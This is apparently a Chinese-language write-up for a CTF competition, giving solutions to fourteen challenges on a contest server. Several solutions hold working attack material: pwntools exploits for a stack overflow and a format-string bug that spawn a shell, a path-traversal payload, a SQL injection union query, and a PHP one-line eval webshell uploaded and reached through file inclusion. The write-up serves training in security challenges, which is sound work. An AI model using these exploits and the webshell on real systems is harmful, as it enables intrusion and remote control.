i春秋網絡內生試驗場CTF答題奪旗賽(第三季)WP

0x01 weak

依次點擊管理平臺->跳轉到測試頁,可看到測試頁代碼,可知是一道MD5弱類型的題,只需要找到MD5加密出來爲0e,並且用戶名和密碼不相等且不爲數字的即可,筆者已找到兩個符合條件的明文,分別是:QNKCDZO和aabg7XSs,回到管理頁,用戶名和密碼分別輸入可得flag。
在這裏插入圖片描述

0x02 Electrical System

逆向分析程序可知,這是一個棧溢出的題,編寫exp如下:

from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p = remote('120.55.43.255',11002)
p.recvuntil('ID:\n')
p.sendline(asm(shellcraft.sh()))

recharge_addr = 0x0000000000400A6F
sh_addr = 0x00000000006020E0
p.recvuntil('choice:\n')
p.sendline('Check' + 11 * 'a' + p64(sh_addr))
p.interactive()

執行可得flag。
在這裏插入圖片描述

0x03 md5_brute

打開文件,是一串md5,分別放到cmd5可解出明文,如
在這裏插入圖片描述
最後的flag爲:flag{wangwu-2019-1111-9527}

0x04 help

右鍵點擊查看源碼,在最後可知提示:flag is in /flag
點擊網頁的幫助,可知該題是一個文件包含的題目,於是構造payload爲:
http://120.55.43.255:17325/?file=…/…/…/flag,可得flag。
在這裏插入圖片描述

0x05 幸運數字

該題是一個逆向題,用IDA打開,發現關鍵代碼:
在這裏插入圖片描述
可知,需要構造一個字符串經過循環處理等於H5wg_2g_MCif_T1ou_v7v7v。
於是編寫腳本:

import sys
def get(str):
	i = ord(str)
	if i > 90 or i < 65:
		if i > 122 or i < 97:
			return i
		return (i - 83) % 26 + 97
	else:
		return (i - 51) % 26 + 65

if __name__ == '__main__':
	a = 'H5wg_2g_MCif_T1ou_v7v7v'
	str = '_0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
	arr = []
	index = 0
	for i in a:
		for j in str:
			s = chr(get(j))
			if s == i:
				arr.append(j)
				index = index+1
				break
	for i in arr:
		sys.stdout.write(i)
		

可獲得flag。
在這裏插入圖片描述

0x06 word

這個題是送分題,題目直接給出了word文檔密碼,打開word即可獲得flag。

0x07 search

打開網頁,在全文檢索處隨便輸入字符串,跳轉到另一個頁面,可知爲sql注入題,於是構造payload:?id=1 union select flag from flag limit 1,5可拿到flag。
在這裏插入圖片描述

0x08 Car Search System

逆向可知,該題爲格式化字符串漏洞,編寫exp腳本如下:

from pwn import *
import binascii
from LibcSearcher import *
#context(os='linux',arch='i386',log_level='debug')
p = remote('120.55.43.255',11001)
#./car爲目標程序
elf = ELF('./car')
puts_got = elf.got['puts']
i = 1
while(1):
    p.recvuntil('leave\n')
    p.sendline('AAAA%'+str(i)+'$x')
    data = p.recv(12)
    if '41414141' in data:
        #print data
        offset = i
        print offset
        break
    i += 1

p.recvuntil('leave\n')
p.sendline( p32(puts_got) + '%' + str(offset) + '$s')
puts_addr = p.recv(8)[4:] 
puts_addr = '0x' + binascii.hexlify(puts_addr[::-1])
log.success('puts real addr : ' + puts_addr)

obj = LibcSearcher('puts', int(puts_addr,16))

system_offset = obj.dump("system")
puts_offset = obj.dump('puts')
system_addr = int(puts_addr,16) - puts_offset + system_offset

log.success('system addr : ' + hex(system_addr))
#change puts_got to system_real_address
payload = fmtstr_payload(offset ,{puts_got: system_addr})
p.recvuntil('leave\n')
p.sendline(payload)
#change value 0xff to 0x66
p.recvuntil('leave\n')
payload ='%102c%51$n' 
p.sendline(payload)

p.recvuntil('day')
p.sendline('/bin/sh')

p.interactive()

執行腳本可獲得flag。
在這裏插入圖片描述

0x09 encrypt

打開文件後,拿到一個16進制字符串:
69725f765f61797d74797465667321275f6f5f6c796573655f746121615f61736867655376736f697b417965796c73457321
於是通過16進制轉成字符串可得:
在這裏插入圖片描述
很明顯,是一個柵欄密碼,解密可得flag。
在這裏插入圖片描述

0x10 唱跳rap籃球

這個是一個腦洞題,標題是蔡徐坤的梗,所以猜用戶名爲caixukun,密碼爲他的生日19980802,登錄可得flag。
在這裏插入圖片描述

0x11 奇怪程序

這是一個android的反編譯的題,反編譯可得源碼:

package bin.crack.crackme1;

import android.os.Bundle;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.EditText;
import android.widget.Toast;

public class MainActivity extends AppCompatActivity {
    public EditText passWord;

    /* access modifiers changed from: protected */
    public void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView((int) R.layout.activity_main);
        this.passWord = (EditText) findViewById(R.id.password);
    }

    public void check(View view) {
        if (this.passWord.getText().toString().isEmpty()) {
            Toast.makeText(this, "不能啥都不輸呀", 1).show();
            return;
        }
        if ("}YsAe_0s_si_dl0RdNa{galf".equals(new StringBuilder(this.passWord.getText().toString()).reverse().toString())) {
            Toast.makeText(this, "flag正確!!!", 1).show();
        } else {
            Toast.makeText(this, "再試試吧。。。", 1).show();
        }
    }
}

分析源碼可知,將字符串逆序即可獲得flag。

0x12 code

打開文件得到一個只有4種字符的字符串,分析知其爲曼徹斯特編碼,通過軟件可解碼:
在這裏插入圖片描述
將最終的16進制轉字符串可得flag。
在這裏插入圖片描述

0x13 upload

打開網頁,是一個上傳+文件包含的題,編寫一句話木馬:<?php eval(@$_POST['a']); ?>
後綴改爲.png,上傳到服務器會返回md5密碼形式的文件名。將該文件名用base64編碼,改造地址:http://120.55.43.255:11881/include.php?file=dXBsb2FkLzYyZTliYjU5MzU4ODQyZTlmYTUwZDgzM2NkZTY1NzE4
用蟻劍連接,可getshell,flag就在根目錄下/flag。
在這裏插入圖片描述

0x14 整型數列

用IDA打開程序,分析可知其核心算法爲斐波那契數列,但是源程序爲遞歸算法,效率很低,無法通過運行源程序拿到flag,因此編寫非遞歸算法可算出flag。

def func1(num):
	num1 = 1
	num2 = 2
	num3 = 0
	for i in range(num - 3):
		num3 = num1 + num2
		num1 = num2
		num2 = num3
	return str(hex(num3))
def func2(num):
	num1 = 1
	num2 = 2
	num3 = 3
	num4 = 0
	if(num == 1):
		return 1
	if(num == 2):
		return 2
	if num == 3:
		return 3
	for i in range(num - 4):
		num4 = num1 + num2 + num3
		num1 = num2
		num2 = num3
		num3 = num4
	return str(hex(num4))
def func3(num):
	num1 = 1
	num2 = 2
	num3 = 3
	num4 = 4
	num5 = 0
	if(num == 1):
		return 1
	if(num == 2):
		return 2
	if num == 3:
		return 3
	if num == 4:
		return 4
	for i in range(num - 5):
		num5 = num1 + num2 + num3 + num4
		num1 = num2
		num2 = num3
		num3 = num4
		num4 = num5
	return str(hex(num5))

def func4(num):
	num1 = 1
	num2 = 2
	num3 = 3
	num4 = 4
	num5 = 5
	num6 = 0
	if(num == 1):
		return 1
	if(num == 2):
		return 2
	if num == 3:
		return 3
	if num == 4:
		return 4
	if num == 5:
		return 5
	for i in range(num - 6):
		num6 = num1 + num2 + num3 + num4 + num5
		num1 = num2
		num2 = num3
		num3 = num4
		num4 = num5
		num5 = num6
	return str(hex(num6))

if __name__ == '__main__':
	n = ['33DB76A7C594BFC3','0CD36C2E32A371480','8CEE9FF3933365BC','57373FE3C783A78F','59B322834BB73B59','423719DD973C6AD3','0C858FBEABF480DA3','3CC8C789BA7B8135']
	s = [1,1,1,1,1,1,1]
	index = 0
	while index <= 7:
		v3 = 0
		v1 = 0
		for i in range(3):
			for j in range(0,200):
				if str(func1(j)).find(n[index].lower())!= -1 or str(func2(j)).find(n[index].lower())!= -1 or str(func3(j)).find(n[index].lower())!= -1 or str(func4(j)).find(n[index].lower())!= -1:
					v3 = 1
					print j-1
					
					v1 = v1+1
					break
			if (v3 == 1):
				break
		index = index+1
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章